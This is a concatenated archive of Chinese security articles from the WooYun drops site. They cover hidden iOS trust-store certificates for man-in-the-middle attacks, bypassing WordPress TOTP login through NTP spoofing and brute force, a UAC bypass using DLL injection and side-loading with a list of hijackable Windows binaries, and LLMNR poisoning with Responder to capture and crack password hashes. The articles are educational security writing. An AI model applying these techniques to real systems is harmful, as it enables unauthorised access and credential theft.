![](http://static.wooyun.org//drops/20151023/201510230515091432516ed.png) 156 | 157 | 图 16 插入证书 158 | 159 | ## 2.3不显示证书的中间人攻击（越狱后环境） 160 | 161 | 根据2.1和2.2小节的描述，如果攻击者通过越狱插件、甚至是通过某些猥琐手段逃过App Store检查的恶意应用，对已越狱的iphone手机上的文件“`/private/var/Keychains/TrustStore.sqlite3`”进行修改，向其中插入了一张攻击者证书，例如burp suite证书，攻击者就可以在受害者的网关上神不知鬼不觉的进行中间人攻击（当然level3安全级别下的应用是没门的），受害者完全不知情，因为受害者通过“Settings”->“General”->“Profiles”查看可信证书的时候，不会发现任何异常，即可以在不显示证书的情况下窃取受害者数据、进行篡改等。 162 | 163 | 所以，对于已越狱的手机，不要以为“Settings”->“General”->“Profiles”下没有安装一些奇奇怪怪的证书就高枕无忧了。 164 | 165 | # 0x03小节 166 | 167 | * * * 168 | 169 | iOS系统的中间人攻击方法与防范措施，总结在在0x01章节中，小生认为普通应用只需要信任当前设备上的所有可信证书即可。关于iOS系统的可信证书列表，越狱过的朋友还是去检查下“`/private/var/Keychains/TrustStore.sqlite3`”文件中是否有“Profiles”中未显示或显示不对等的情况。 170 | 171 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/利用基于 NTP 的 TOTP 算法缺陷绕过 WordPress 登陆验证.md: -------------------------------------------------------------------------------- 1 | # 利用基于 NTP 的 TOTP 算法缺陷绕过 WordPress 登陆验证 2 | 3 | [ Her0in](/author/Her0in) · 2015/11/17 11:02 4 | 5 | 近日，国外安全研究人员 Gabor 发表了两篇关于如何利用基于 NTP （Network Time Protocol）的验证算法缺陷绕过 WordPress登陆验证的文章，这两篇文章分别介绍了[基于 NTP 的验证算法缺陷](https://blog.gaborszathmari.me/2015/11/11/tricking-google-authenticator-totp-with-ntp/)以及[如何利用该缺陷绕过 WordPress登陆验证](https://blog.gaborszathmari.me/2015/11/11/bypassing-wordpress-login-pages-with-wpbiff/)并给出了 POC 和相关工具。以下内容是对这两篇文章的汇总介绍。 ；） 6 | 7 | # 0x00 WordPress 插件 Google Authenticator 验证算法介绍 8 | 9 | * * * 10 | 11 | 关于 NTP 相关的知识，可以在[这里](http://baike.baidu.com/link?url=aDjxXw3OivotsPntFuppRDAiJsN_rgrUP3NEHdqZXrvXbzwo7ed4PNmgtZxuAV0ojPyHHco4KYNZfpJjbBnvGK)进行了解。 12 | 13 | ## 基于 NTP 的 TOTP 算法 14 | 15 | 现在以 WordPress 的一款插件 Google Authenticator 为例来说明一般的 token生成程序生成一次性密码（TOTP）的实现细节。 16 | 17 | 如下图所示，程序会使用一个密钥种子与当前服务器的时间戳进行 TOTP 算法后得出一个 6 位纯数字的 Token，该 Token 每 30秒更换一次，其实这就是我们常见的 “动态口令”。 18 | 19 | 在这个动态口令生成过程中所存在的问题就在于每次使用相同的密钥种子和时间戳的组合总会生成一个相同的动态口令。而密钥种子是个不变量同时在攻击中不可控，因此只要控制了时间戳那么即可生成任意时间戳所对应的动态口令。 20 | 21 | ![](http://static.wooyun.org//drops/20151116/2015111605225597641totp-explained-300x53.jpg) 22 | 23 | 图 1 ：基于 NTP 的 TOTP 算法 24 | 25 | ## 修改服务器时钟进行攻击 26 | 27 | 从目前来看有很多使用 NTP 的网络都没有对 NTP 传输过程进行加密验证。因此，攻击者就可以修改 NTP 传输的数据进行中间人攻击，给 NTP客户端提供一个伪造的时间戳。 Gabor 在文章中提到了几个早先对 NTP 进行安全研究的文章资料和工具。 28 | 29 | * [Delorean](https://github.com/PentesterES/Delorean) 是一个可以对 NTP 客户端发送伪造的时间戳的工具。 30 | * [Attacking the Network Time Protocol](http://www.cs.bu.edu/~goldbe/papers/NTPattack.pdf) 这篇文章提供了其他几种针对 NTP 的攻击向量。 31 | * [Jose Selvi’s presentation at DEF CON 23](https://www.youtube.com/watch?v=hkw9tFnJk8k) 是一个在 DEF CON 23 中对 NTP 研究的议题视频（需翻墙）。 32 | 33 | 结合以上工具以及多种中间人攻击技术就可以通过 NTP 控制远程服务器的时钟。 34 | 35 | 在 Unix 中设置时间的 ntpd 服务不会接受一个伪造的虚假时间戳，所以无法进行时间戳的伪造攻击。不过，可以结合[CVE-2015-5300](https://bugzilla.redhat.com/show_bug.cgi?id=1271076) 漏洞进行攻击。 36 | 37 | 另外一种设置时间的方法是 [ntpdate](https://en.wikipedia.org/wiki/Ntpdate)。这种设置方式非常简单，也是[Ubuntu Wiki](https://help.ubuntu.com/community/UbuntuTime) 中推荐的方式。因此，在很多地方都使用了这种方式进行时间设置。你可以参考[官方手册](https://supermarket.chef.io/cookbooks/ntpdate) 和[这篇博文](http://www.psce.com/blog/kb/how-to-periodically-synchronize-time-in-linux/)进行设置。 38 | 39 | 设置的方式极其简单，在 corntab 中运行 `ntpdate ` 即可。但是值得注意的是 **ntpdate 会接受任何来自于NTP 服务的数据流！**。 40 | 41 | 几个有名的开源项目，如 [Yocto Project](https://bugzilla.yoctoproject.org/show_bug.cgi?id=6433)，[OpenWRT](http://wiki.openwrt.org/doc/howto/ntp.client)，[Startups](https://github.com/doejo/wordpress-cookbooks/blob/master/packages/ntpdate.rb)，还有[托管在 GitHub ](https://github.com/search?q=ntpdate+cron&type=Code&utf8=%E2%9C%93)上的无数配置脚本，以及 [5 万多 Docker用户](https://hub.docker.com/r/tutum/ntpd/~/dockerfile/)，甚至包括 [VPS提供商](http://wiki.vps.net/vps-net-features/cloud-servers/getting-started/getting-started-with-linux-keeping-your-server-on-time-with-ntp/) 都使用了**ntpdate** 进行时间同步设置。 42 | 43 | [早在 2002年](https://lists.debian.org/debian-user/2002/12/msg04091.html) 就有人提出使用corntab 运行 ntpdate 不是一个好主意。 44 | 45 | # 0x01 绕过 WordPress 登陆验证 46 | 47 | * * * 48 | 49 | 通过上述描述，让我们来总结一下攻击 NTP 的现有条件： 50 | 51 | * ntpd 和 ntpdate 都容易遭到 MITM 攻击 52 | * 已经有现成的工具可以对 NTP 进行攻击 53 | * 可以控制并修改 TOTP 算法的时间戳 54 | 55 | WordPress 中的插件 [Google Authenticator](https://wordpress.org/plugins/google-authenticator/) 可以对 WordPress 后台登录开启双重验证。如下图所示： 56 | 57 | ![](http://static.wooyun.org//drops/20151116/2015111605230015841Wordpress-dashboard-login-two-factor-1024x825.png) 58 | 59 | 图 2 ：Google Authenticator 插件对 WordPress 后台登录开启双重验证 60 | 61 | 由于可以利用中间人攻击设置服务器的时间一直为指定的时间，因此，可以使用暴力破解的手段对动态口令进行破解。大约最多需要一百万次的破解尝试。 62 | 63 | ## 攻击测试 64 | 65 | 搭建如下网络环境： 66 | 67 | * 3 台 Ubuntu 虚拟机 68 | * [Delorean NTP 服务器](https://github.com/PentesterES/Delorean) 69 | * WordPress v4.3.1 并安装 [Google Authenticator 插件 v3.8.11](https://wordpress.org/plugins/google-authenticator/) 70 | * [双重验证爆破工具 WPBiff](https://github.com/gszathmari/wpbiff)（支持 Google Authenticator 和 WP Google Authenticator 插件） 71 | 72 | 整个网络非常简单，三台 Ubuntu 虚拟机需要处于同一个子网中。如下图所示： 73 | 74 | ![](http://static.wooyun.org//drops/20151116/2015111605230134349wordpress-wpbiff-network-diagram-300x189.png) 75 | 76 | 图 3 ：搭建攻击网络环境 77 | 78 | 为了模拟中间人攻击以[篡改 NTP 传输数据](http://arstechnica.com/security/2015/10/new-attacks-on-network-time-protocol-can-defeat-https-and-create-chaos/)，我们首先需要修改WordPress 服务器的 `/etc/hosts` 文件，如下图所示： 79 | 80 | ![](http://static.wooyun.org//drops/20151116/2015111605225875531tripelover-hosts-e1447195874345-1024x507.png) 81 | 82 | 图 4 ：修改 /etc/hosts 文件 83 | 84 | 其次，我们假设管理员使用计划任务每隔一分钟同步一次时间（事实上很多人都是这么做的），如下图所示： 85 | 86 | ![](http://static.wooyun.org//drops/20151116/2015111605225765649tripelover-crontab-e1447195835823-1024x248.png) 87 | 88 | 图 5 ：管理员每隔一分钟同步一次时间 89 | 90 | 然后，我们使用预先设置的时间作为参数执行 Delorean ，同时 WordPress 服务器依旧会每隔一分钟同步一次时间。 91 | 92 | ![](http://static.wooyun.org//drops/20151116/2015111605225252104delorean-ntp-server-1024x716.png) 93 | 94 | 图 6 ：使用预先设置的时间作为参数执行 Delorean 95 | 96 | 现在，我们在另外一台虚拟机中，也就是攻击者的机器中运行 WPBiff。设置 WordPress后台登录用户名和密码，以及与上图相同的时间戳作为运行参数。如下图所示： 97 | 98 | ![](http://static.wooyun.org//drops/20151116/2015111605230388427wpbiff-1-e1447198290204-1024x394.png) 99 | 100 | 图 7 ：运行 WPBiff 开始攻击 101 | 102 | 在 WPBiff 运行了 39 分钟后，成功的爆破出了 6 位纯数字动态口令，同时 dump 出了有效的登陆 WordPress 后台的 sessioncookies。如下图所示： 103 | 104 | ![](http://static.wooyun.org//drops/20151116/2015111605230599608wpbiff-2-1024x896.png) 105 | 106 | 图 8 ：成功爆破出了动态口令 107 | 108 | 由于插件不允许动态口令的重用，所以可以使用 dump 出来的 session cookies 直接登录 WordPress 后台。在额外的三次测试中，又分别花费了 51分钟，57分钟，83分钟 爆破出了动态口令。 109 | 110 | ![](http://static.wooyun.org//drops/20151116/2015111605225454373logon.png) 111 | 112 | 图 9 ：成功登陆 WordPress 后台 113 | 114 | # 0x02 参考 & 引用 115 | 116 | * [https://blog.gaborszathmari.me/2015/11/11/tricking-google-authenticator-totp-with-ntp/ ](https://blog.gaborszathmari.me/2015/11/11/tricking-google-authenticator-totp-with-ntp/) 117 | * 118 | 119 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/給初學者的DLL Side Loading的UAC繞過.md: -------------------------------------------------------------------------------- 1 | # 給初學者的DLL Side Loading的UAC繞過 2 | 3 | [ Adr](/author/Adr) · 2015/12/10 12:12 4 | 5 | # 0x00 UAC是什麼？ 6 | 7 | * * * 8 | 9 | 在Windows從Vista版本之後加⼊了多個安全性防護如隨機化模組地址(ALSR)、資料防⽌執行(DEP)、使⽤者帳⼾控制(UAC) … 等，ALSR與DEP為exploit上的shellcode插⼊利⽤帶來的相當程度的困難度(當然站在現在技術⽽言繞過並⾮難事)不過今天要談的並非這兩者防護，⽽是要談使用者帳⼾控制(UAC)。（後續再次提及使用者帳⼾控制此防護都以縮寫UAC代稱） 10 | 11 | 為什麼微軟要⼤費周章再設計⼀個UAC防護？在WinNT時代來臨的第⼀個版本也是由史以來活最久的系統— Windows XP，在⼀開始設計上只要當下程式運⾏的權限是在使⽤者為管理員的時候，那麼想為所欲為都是可被接受的，例如常見攻擊行為註冊表寫⼊、刪除檔案、增加帳號、下載檔案、安裝驅動 … 等。經歷了各式⽊馬後⾨手法的洗禮後，微軟深知⽊馬與後門攻擊對象不再聰明的使⽤用者上，多半聰明的電腦使⽤者不會輕易開啟來路不明的程式，⽽通常受到攻擊的人都為一般電腦使用者，多半對使用者權限沒有什麼觀念，故導致Windows XP時代很容易中個木馬就整台電腦被駭客Own走了！ 12 | 13 | 於是在下⼀個版本Windows — Vista，微軟增加了⼀個策略性的UAC防護，這種防護根據維基百科上可以查詢得到管轄的範疇如下： 14 | 15 | UAC需要授權的動作包括： 16 | 17 | * 配置Windows Update 18 | * 增加或刪除⽤戶帳戶 19 | * 改變⽤戶的帳戶類型 20 | * 改變UAC設定 21 | * 安裝ActiveX 22 | * 安裝或移除程式 23 | * 安裝置驅動程式 24 | * 設定家⾧監護 25 | * 將檔案移動或複製到Program Files或Windows目錄 26 | * 檢視其他⽤戶資料夾 27 | 28 | 基本上，只要有涉及到存取系統磁碟的根目錄（例如C:\），存取Windows目錄，Windows系統目錄，ProgramFiles目錄，存取Windows安全資訊以及讀寫系統登錄資料庫（Registry）的程式存取動作，都會需要通過UAC的認證。 29 | 30 | 結果新增了UAC後的Vista做什麼事情都會彈出視窗導致使⽤者體驗觀感很差罵聲連連，於是在WIndows7時候新增了四種UAC模式： 31 | 32 | * 第⼀級（最⾼等級）：相當於Windows Vista中的UAC，即對所有改變系統設定的⾏為進行提醒 33 | * 第⼆級（預設）：只有當程式試圖改變系統設定時才會彈出UAC提示，使⽤者改變系統設定時不會彈出提示 34 | * 第三級：與第二級基本相同，但不使⽤安全桌面 35 | * 第四級：從不提⽰（相當於關閉UAC） 36 | 37 | 不過因為⼤部分使⽤者其實並不知道UAC存在的重要性（知道是什麼的大多數也就覺得它很煩所以決定直接關閉）所以本文章接下來的討論都是基於使用者設定為「預設」情況下來分析、探討，並給出⼀個繞過的思路。 38 | 39 | 那麼這邊簡單的說明⼀下如果我們在寫⼀支程序在遇到Windows Vista以後的版本大致上什麼時候會遇到UAC、以及令人覺得棘⼿手的部分： 40 | 41 | * 當程序需要寫⼊檔案到C槽、Windows或是System32底下可以嗎？答案是否定的，因為資料權限有區分的關係,假如寫⼊之目標資料夾權限沒有給予寫入、修改權限（可在終端機下icacls命令查詢），例如C槽、Windows、System、System32、Program Files …等目錄，會有影響到系統或者其他程式的運作的可能性，就會彈出UAC視窗提醒是否要執⾏此行為。 42 | * 運⾏外部程式可以嗎？這倒是不一定，要看你準備要運行的程式是否有簽章，如果今天你執⾏的程式具有簽章並且為微軟或者微軟授權認可之簽章，那麼將可直接通過UAC檢查，不必跳出視窗提醒（這很重要，後續會利⽤到）；若沒有簽章或者私⼈簽章不受微軟授權呢？那麼UAC會提醒你這支程式可能會造成危害，彈出視窗提醒使⽤用者。 43 | 44 | # 0x01 UAC實際運作狀況 45 | 46 | * * * 47 | 48 | 今天我們寫了一支後門需要執行任何API或者指令時，如果是敏感的API例如寫⼊檔案、開啟註冊表、 創建進程…等，那麼中途就會呼叫到⼀個稱為RtlQueryElevationFlags的API。（可參考⽼外提供的微軟不公開的API資料） 49 | 50 | 這個API檢測完當前權限之後會決定當前程式正在呼叫的命令是否符合當前進程擁有的權限，如果符合就不彈窗沒有則彈出使用者必須允許的視窗，這個視窗的檢查只用於決定是否可以彈窗對於實際當前進程的權限是沒有相關的，所以InlineHook這個API其實對於獲得權限沒有任何用途。 51 | 52 | 不過有趣的是，如果準備CreateProcess⼀個進程具有簽章但⾮微軟授權，那麼就算使⽤者在跳出UAC視窗時選擇否（拒絕CreateProcess該具不知名簽章的進程) 但是因為有簽章關係，所以進程依然會創建！，於是就有⽼外提出了是否可以直接透過修改自身進程內存來防止跳窗（反正依然可以創建進程成功）如果想看那篇防⽌彈UAC窗的技術⽂章可參見： 53 | 54 | 55 | 56 | 那麼UAC視窗究竟是什麼？ 57 | 58 | ![p1](http://static.wooyun.org//drops/20151201/201512011617096174519.png) 59 | 60 | 如果在Windows7把UAC權限設置為第三種模式（提醒但沒有安全桌面）那麼在彈出UAC視窗的同時可以透過⼯作管理員選擇到該視窗然後觀看它的處理序資訊： 61 | 62 | ![p2](http://static.wooyun.org//drops/20151201/201512011617126153821.png) 63 | 64 | 你將會發現其實UAC視窗產⽣者並非當前進程而是由system32底下⼀個稱為`consent.exe`（意味著授權）的進程創建的視窗，透過⼯具如PCHunter可以查看到當前`consent.exe`的⽗進程為`svchost.exe`並且創建UAC進程的`svchost.exe`為系統層級。到這邊大致可以推敲一下今天如果我們進程做了一個敏感命令，那麼大致上會是： 65 | 66 | 67 | 68 | 進程執⾏行敏感命令 69 | -> 透過未公開API發消息給系統 70 | -> svchost（系統層級）創建consent.exe彈出提醒 71 | -> 把結果告知回系統 72 | 73 | 74 | # 0x02 DLL Side Loading 75 | 76 | * * * 77 | 78 | 利用IFileOperationCOM白名單explorer.exe（⽂件管理器）系統對於explorer.exe做寫⼊Windows、System、System32 …等隱密資料夾、系統資料夾是完全信任的，我們可以透過這個漏洞,先透過DLLInjection⽅式（用CreateRemoteThread、APC線程狹持注入、輸⼊法注入 …等都可）將⾃身DLL注⼊進explorer.exe，然後透過IFileOperation COM將⾃身寫入進系統資料夾內，然後透過DLL SideLoading的方式做組合技Combo達成DLL掛起拿下系統權限，本文最後以此⽅案寫了VC專案實測可穿透UAC，⾄於目前各路⼤牛們整理出來系統內可被DLLSide Loading的程式如下表所列： 79 | 80 | 1. C:\Windows\System32\sysprep\sysprep.exe 、Cryptbase.dll(Win7),shcore.dll(Win8)、ActionQueue.dll(Win7) 81 | 2. C:\Windows\System32\oobe\setupsqm.exe、wdscore.dll（Win7,Win8,Win10） 82 | 3. C:\Windows\System32\cliconfg.exe、ntwdblib.dll(Win7,Win8,Win10) 83 | 4. C:\Windows\System32\sysprep\winsat.exe、ntwdblib.dll(Win7)、devobj.dll(Win8.Win10) 84 | 5. C:\Windows\System32\mmc.exe參數：eventvwr，ntwdblib.dll（Win7）、elsext.dll（Win8,Win10） 85 | 86 | # 0x03 IFileOperation⽩名單穿透UAC 87 | 88 | * * * 89 | 90 | 在WIndows XP時代做⽂件移動，explorer.exe是透過CopyFileAPI實作，但到了Vista後多了UAC會檢測文件移動權限，而explorer.exe本身也改用了IFileOperationCOM來實作,⾄於CopyFile API依舊存在，而這個API變成了IFileOperation COM的封裝版本並且公開給使用者層級的應用程式使用。 91 | 92 | ⾄於UAC檢測就埋在IFileOperation COM內部的實作，有趣的是explorer.exe本身為IFileOperationCOM的⽩名單進程，至於這點怎麼發現的呢？ 93 | 94 | ![p3](http://static.wooyun.org//drops/20151201/201512011617155244631.png) 95 | 96 | 今天當使⽤者想放置⼀個檔案入 C:\Windows\ 系統資料夾內依舊會發現UAC提醒這個行為會需要系統權限，但是用工作管理員查看會得知：這個UAC提醒視窗居然是explorer.exe本⾝彈出的視窗！意味著explorer.exe本身調用IFileOperation COM來移動檔案入系統權限的資料夾是不受管制的，⽽彈跳提醒視窗是explorer.exe本身提醒的！因此我們可以得知只要想辦法將⾃己的dll注入explorer.exe進程，那麼就可以擁有任意寫入的系統權限了，關鍵代碼撰寫如下： 97 | 98 | ![p4](http://static.wooyun.org//drops/20151201/201512011617171083341.png) 99 | 100 | 透過建⽴進程名單快照並且遍歷進程找到Explorer.exe再做 OpenProcess 取得跨進程寫入讀取權限的握柄(Handle)，接著我們需要做的就是把我們的dll（我撰寫此專案時命名為Client.dll）注入進explorer.exe，另外 本次繞過UAC⼿法上是透過系統內置的SQL本地端解析⼯工具— cliconfg.exe 含有DLL Side Loading來做穿透（相對應的ntwdblib.dll可穩定的Side Loading Win7~Win10）等待DLL注入explorer.exe後，dll須在explorer.exe進程內將⾃己dll複製⼀份到C:\Windows\system32內的ntwdblib.dll（原本應該會呼叫system下的ntwdblib.dll），完成後,此時我們再呼叫⼀次cliconfg.exe,這時候本來應該載入system下的ntwdblib.dll但因我們在同層目錄下放同名的ntwdblib.dll（⾃行撰寫的dll）會被Loadlibrary優先載⼊，我們的dll便可擁有System32下的權限了。 101 | 102 | 關鍵代碼如下： 103 | 104 | ![p5](http://static.wooyun.org//drops/20151201/201512011617194419051.png) 105 | 106 | 再來就是處理的是DLL內先確認是否被載入在explorer.exe進程內，若是則開始做SideLoading的前置作業，若是成功被cliconfg.exe載⼊則提示過了UAC！ 107 | 108 | ![p6](http://static.wooyun.org//drops/20151201/201512011617216036461.png) 109 | 110 | 注入完成後先檢測當前進程路徑如果是explorer.exe代表我們需要做複製dll到可被DLLSide Loading的位置（本文額外包成了DllHijacking函數）如果檢測到當前進程已經存活在cliconfg.exe內，代表已經成功取得系統權限，就跳出成功的提醒視窗。 111 | 112 | 至於DllHijacking函數內部的實現如下： 113 | 114 | ![p7](http://static.wooyun.org//drops/20151201/201512011617247719771.png) 115 | 116 | 最後編譯後分別有一個exe執⾏檔與⼀個Client.dll文件，執⾏結果如下： 117 | 118 | 執行ClientUAC.exe後，彈出了取得UAC權限的視窗提醒，透過⼯作管理員查看該視窗的進程為cliconfg.exe程序，並且執⾏過程沒有任何UAC認證請求彈窗。 119 | 120 | ![p8](http://static.wooyun.org//drops/20151201/201512011617266790181.png) 121 | 122 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Windows 名称解析机制探究及缺陷利用.md: -------------------------------------------------------------------------------- 1 | # Windows 名称解析机制探究及缺陷利用 2 | 3 | [ Her0in](/author/Her0in) · 2015/12/01 12:30 4 | 5 | 本文作为一篇科普文章，阐述了 Windows 系统中的名称解析机制，同时也提及了几种利用名称解析机制的缺陷进行内网攻击的方式。 6 | 7 | # 0x00 Windows 名称解析简介 8 | 9 | * * * 10 | 11 | TCP 协议的通信是基于 IP 地址的，“名称解析”就是把需要访问的计算机的名字解析为 IP 地址的过程。 12 | 13 | **Windows 中的名称类型** 14 | 15 | 在 Windows 操作系统中，有两种名称，分别为：主机名称 和 NetBIOS 名称。 16 | 17 | **主机名称** 18 | 19 | 从狭义上来说，主机名称正如它的字面意思一样就是一台主机的名字。从广义来说，它又不仅仅包含计算机的名字，也包含互联网中的域名。 20 | 21 | 由于域名是以树状的形式所表现的，同时也是主机名称的一种，所以主机名称是有层次的，最大长度为 255 个字符，允许的字符有 A～Z，a～z和字符“－”。在域名系统中有一种标识一台主机的 DNS 名字的域名叫做 完全限定域名（FQDN），FQDN是由“.”连接主机名字和主域名后缀组合成的，例如，seclab.her0in.org 的 FQDN 名称就是 seclab 。 22 | 23 | **NetBIOS 名称** 24 | 25 | 在 Windows 系统中的另外一种名称就是 NetBIOS 名称，准确的说 NetBIOS 名称并非是一种名字系统，而是 Windows操作系统网络的一个编程接口，允许主机之间使用 NetBIOS 名称进行通信，通信过程是建立在 NetBIOS 协议之上的。在安装完 Windows系统后系统会默认使用计算机的名字做为当前主机的 NetBIOS 名称。它的最大长度为 16 个字符，其中最后一位是不可配置的，用于指定 NetBIOS的服务类型。如果计算机名称不足 15 位则使用空格补全到 15 位，反之，如果计算机名称超过 15 位 则会截取前 15 位。常见的 NetBIOS 后缀有0x20（文件和打印服务）、0x00（工作站服务）、0x03（报信者服务）等。 26 | 27 | 使用`nbtstat -n`命令查看本机的 NetBIOS 名称。 28 | 29 | 使用`nbtstat -A ipaddress`命令查看指定 IP 主机的 NetBIOS 名称。 30 | 31 | # 0x01 Windows 名称解析相关协议 32 | 33 | * * * 34 | 35 | 在 Windows 系统中有三种与名称解析相关的协议。 36 | 37 | **Windows 名称解析之 DNS协议** 38 | 39 | DNS 协议是一种最主要的也是操作系统首选的进行名称解析的协议，几乎每一种操作系统都支持 DNS 协议，同时， DNS 协议支持 IP v4 和 IPv6。DNS 协议在实现名称解析的过程中，在客户机上没有任何本地的数据库文件，完全依赖于 DNS 服务器，所监听的端口是 UDP/53。在客户机上可以使用`ipconfig /displaydns`命令来查看本机的 DNS 缓存，使用`ipconfig /flushdns`命令清除本机的DNS 缓存。 40 | 41 | DNS 的名称解析过程如下： 42 | 43 | * 读取本机 DNS 缓存（已经包含本机 hosts 文件内容） 44 | * 如果缓存中没有，则会请求网络配置中配置的 DNS 服务器 45 | * 如果 DNS 服务器未作出响应，则请求失败。反之，DNS 服务器则会处理用户请求。 46 | 47 | **Windows 名称解析之 NetBIOS 协议** 48 | 49 | 除了 DNS 之外，在早先版本的 Windows 中也使用 NetBIOS (network basic input/outputsystem，网络基本输入输出系统)进行名称解析。本文介绍的 NetBIOS 协议名称解析是微软后来定义的 nbt 即 NetBIOS overTCP/IP 的名称解析类型。 50 | 51 | nbt 服务监听的端口为 UDP/137，其进行名称解析的形式为向当前主机所在的子网域发送广播包。所以，当你使用抓包工具在局域网中抓包时总会收到很多NBNS 数据包。 52 | 53 | 由于 NetBIOS 协议进行名称解析是发送的 UDP广播包。这样做虽然速度快且无需额外的配置，但是广播包不能跨越网域同时也会增加一些网络流量，因此微软在后来推出了 WINS（Windows InternetName Service）服务器，当计算机配置为使用 WINS 服务器进行名称解析时，客户机将直接和 WINS 服务器进行单播通讯，这样就可以弥补NetBIOS 协议使用广播进行名称解析的不足。 54 | 55 | 综上所述，NetBIOS 协议进行名称解析的过程如下： 56 | 57 | * 检查本地 NetBIOS 缓存 58 | * 如果缓存中没有请求的名称且已配置了 WINS 服务器，接下来则会向 WINS 服务器发出请求 59 | * 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播 60 | * 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件 61 | 62 | lmhosts 文件位于`C:\Windows\System32\drivers\etc\`目录中。 63 | 64 | 使用`nbtstat -c`命令查看本机的 NetBIOS 缓存 65 | 66 | 使用**`nbtstat -R`**命令清除本机的 NetBIOS 缓存 67 | 68 | **Windows 名称解析之 LLMNR 协议** 69 | 70 | DNS 协议的名称解析虽然高效但是需要在局域网中单独配置一台服务器作为 DNS 服务器，NetBIOS 协议的名称解析在一些情况下也需要单独配置一台WINS 服务器，而且 NetBIOS 协议不支持 IP v6。因此，为了弥补这些不足，微软在 Windows Vista之后推出了基于端到端的名称解析协议 — 本地链路多播名称解析（[Link-Local Multicast NameResolution](https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution)）简称为 LLMNR。 71 | 72 | LLMNR 也称作多播 DNS ，因为其数据包格式类似于 DNS 的数据包。监听的端口为 UDP/5355，支持 IP v4 和 IP v6 ，并且在Linux 上也实现了此协议。其解析名称的特点为端到端，IPv4 的广播地址为 224.0.0.252，IPv6 的广播地址为FF02:0:0:0:0:0:1:3 或 FF02::1:3。 73 | 74 | LLMNR 进行名称解析的过程为： 75 | 76 | * 检查本地 NetBIOS 缓存 77 | * 如果缓存中没有则会像当前子网域发送广播 78 | * 当前子网域的其他主机收到并检查广播包，如果没有主机响应则请求失败 79 | 80 | # 0x02 Windows 系统名称解析顺序 81 | 82 | * * * 83 | 84 | **影响 Windows 系统名称解析的两个因素** 85 | 86 | #### 操作系统版本 87 | 88 | 从上述一小节中，可以发现，并非所有的操作系统版本都支持上述三种协议。 89 | 90 | Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS。 所以此类版本的 Windows 都是先进行 DNS 名称解析，如果 DNS解析名称失败，才会进行 NetBIOS 名称解析。 91 | 92 | Windows Vista 之后（包括 2K8 ， Win7，Win8.x，Win 10）都支持上述三种协议，在这类Windows系统中的名称解析顺序为：先进行 DNS 名称解析，如果 DNS 解析名称失败，则会使用 LLMNR 进行名称解析，最后才会使用 NetBIOS名称解析。 93 | 94 | #### 网络节点模式 95 | 96 | 还有一种影响 Windows 系统名称解析的一个因素就是当前主机的网络节点模式。可以使用`ipconfig /all`命令查看本机的网络节点模式，如下图： 97 | 98 | ![](http://static.wooyun.org//drops/20151130/2015113007382219573node.png) 99 | 100 | 图 1 查看本机网络节点模式 101 | 102 | 网络节点模式最主要会影响 NetBIOS 名称解析过程，是优先查询 WINS 服务器还是先在子网域中进行广播。具体的及节点模式描述如下： 103 | 104 | 1. B-节点(broadcast，广播) 105 | 106 | 　　Windows 使用广播来进行名称注册和名称解析，依据网关的配置，一个 B 节点客户机发送的数据包不能够超出局域网的范围。但是，B节点并不适合于大型网络，实际上微软修改了标准的 B 节点类型，当 Windows 尝试解析名称时，首先检查 LMHOSTS名称缓存，如果此行不通，Windows 就会发送广播，如果广播依然失败的话，那Windows 才会检查实际的 LMHOSTS 文件。 107 | 108 | 1. P-节点(per-to-per，对等) 109 | 110 | 　　这种方法并不使用广播，而是在计算机启动时，在网络中的 WINS 服务器上注册它们的名称，当计算机需要解析名称时，它会发送一个解析请求给 WINS服务器。这种方法只在 WINS 服务器正常运行时有效，如果 WINS 服务器失败，则无法进行名称解析。 111 | 112 | 1. M-节点(mixed，混合) 113 | 114 | 　　Windows 联合使用 B 节点和 P 节点，并且默认使用 B 节点，如果 M 节点不能利用广播进行名称解析，它就使用 P 节点的 WINS服务器来完成工作。 115 | 116 | 1. H-节点(hybrid，混合) 117 | 118 | 　　同样也是联合使用 B 节点和 P 节点，但工作方式相反，如果使用 WINS 服务器方式不能成功，则使用 B 节点的工作来完成工作。此节点模式也是目前Windows 系统默认使用的节点模式。 119 | 120 | # 0x03 利用 Windows 名称解析机制的缺陷进行内网攻击 121 | 122 | * * * 123 | 124 | 常见的利用 Windows 名称解析机制的缺陷进行攻击的技术有 DNS Spoof ，NBNS Poison ，LLMNR Poison ， ICMPRedirection。 125 | 126 | 可以使用 SpiderLabs 出的 Responder，或者 ZARP 工具包进行上述攻击。 127 | 128 | LLMNR Poison 攻击环境如下： 129 | 130 | * 攻击者主机（Linux）IP 192.168.237.133 131 | * 受害者主机（Windows 8.1） IP 192.168.237.129 132 | * 两台主机处于同一个局域网中 133 | 134 | 攻击者在启动 Responder 后，当受害者去访问一个在当前局域网中不存在的主机时就会触发 LLMNR Poison 攻击，如下图所示： 135 | 136 | ![](http://static.wooyun.org//drops/20151130/2015113007380363576140.png) 137 | 138 | 图 1 ： 受害者主机 PING 一台局域网中并不存在的主机 139 | 140 | ![](http://static.wooyun.org//drops/20151130/2015113007380697540235.png) 141 | 142 | 图 2 ：Responder 会响应 LLMNR 的广播包并进行了 Poison 攻击 143 | 144 | ![](http://static.wooyun.org//drops/20151130/2015113007380854103328.png) 145 | 146 | 图 3 ：在受害者的主机中 NetBIOS 缓存中已经加入了被 Poison 攻击的主机 IP 记录 147 | 148 | 上述攻击演示中，已经证实了 LLMNR Poison 攻击的效果，可以利用让受害者访问不存在的主机的共享进行 LLMNR Poison攻击，这样可以获得受害者主机的 HASH ，拿到 HASH 就可以进行暴力破解了，如果是弱口令的话，就可以爆破出密码。同样也可以利用让受害者访问不存在的HTTP 服务器进行 401 认证拿到客户端的 HASH，如下图所示： 149 | 150 | ![](http://static.wooyun.org//drops/20151130/2015113007381029119425.png) 151 | 152 | 图 4 ：受害者访问一个不存在的主机的共享 153 | 154 | ![](http://static.wooyun.org//drops/20151130/2015113007381457611517.png) 155 | 156 | 图 5 ：LLMNR Poison 攻击拿到了 SMB 验证过程中的 HASH 157 | 158 | ![](http://static.wooyun.org//drops/20151130/2015113007381743276614.png) 159 | 160 | 图 6 ：使用 john 对 HASH 进行暴力破解 161 | 162 | # 0x04 参考及引用 163 | 164 | * * * 165 | 166 | 167 | 168 